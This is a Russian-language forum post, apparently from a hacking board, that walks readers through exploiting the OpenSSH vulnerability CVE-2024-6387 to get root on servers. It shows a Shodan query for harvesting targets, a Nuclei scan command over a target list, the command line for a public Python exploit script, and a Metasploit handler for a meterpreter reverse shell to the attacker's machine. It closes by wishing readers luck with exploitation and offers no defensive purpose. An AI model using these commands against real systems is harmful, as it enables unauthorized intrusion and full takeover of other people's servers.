LIMB
Вход Регистрация

тема

CVE-2024-6387: как эксплуатировать уязвимость в OpenSSH для получения доступа к серверу

cvve · · 1 ответов · 102 просмотров

Уязвимость CVE-2024-6387 в OpenSSH стала одной из самых обсуждаемых тем в сфере кибербезопасности. Эта критическая уязвимость позволяет получить удаленный доступ к серверу с привилегиями root. В этой статье мы разберем, как найти уязвимые устройства, проверить их на наличие уязвимости и применить эксплойт для получения доступа.

1: Поиск уязвимых устройств через Shodan​

Для начала нам нужно найти устройства, которые могут быть уязвимы к CVE-2024-6387. Для этого воспользуемся сервисом Shodan, который позволяет искать устройства с открытыми портами и определенными характеристиками.

Запрос в Shodan: port:22 product:"OpenSSH"​

Не удалось прогрузить медиа
​

2: Проверка уязвимости с помощью Nuclei​

После того как мы нашли потенциальные цели, собираем айпишники и кидаем их в txt, после нужно убедиться, что они действительно уязвимы. Для этого воспользуемся сканером  Nuclei, который позволяет автоматизировать проверку уязвимостей с помощью шаблонов.

Команда для Nuclei:  nuclei -t cve-2024-6387.yaml -l sshtagets.txt​

Где:

Не удалось прогрузить медиа
Не удалось прогрузить медиа

3: Запуск эксплойта и процесс эксплуатации​

Теперь, когда мы нашли уязвимые устройства и подтвердили их статус с помощью Nuclei, можно перейти к следующему шагу — запуску эксплойта.


Запуск эксплойта​

Для эксплуатации уязвимости CVE-2024-6387 можно использовать готовый скрипт на Python(https://github.com/Karmakstylez/CVE-2024-6387.git). . Вот команда для его запуска:


python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0


Где:

example.com — домен или IP-адрес уязвимого сервера.

-p 22 — порт SSH (по умолчанию 22).

-n eth0 — сетевая карта, через которую будет происходить атака.

Ловля полезной нагрузки​

Чтобы получить полный контроль над сервером, атакующий может использовать метерпретер — полезную нагрузку, которая предоставляет интерактивный shell и множество возможностей для управления системой.

Для этого нужно сначала настроить обработчик в Metasploit Framework:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"

Где:

{yourip} — IP-адрес вашей машины, на которой запущен Metasploit.

LPORT 9999 — порт, на котором Metasploit будет ожидать подключения.

После этого можно запустить эксплойт, который отправит обратный shell на ваш обработчик.
👍7 👏1
Удачи в эксплуатации  :ROFLMAO:

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.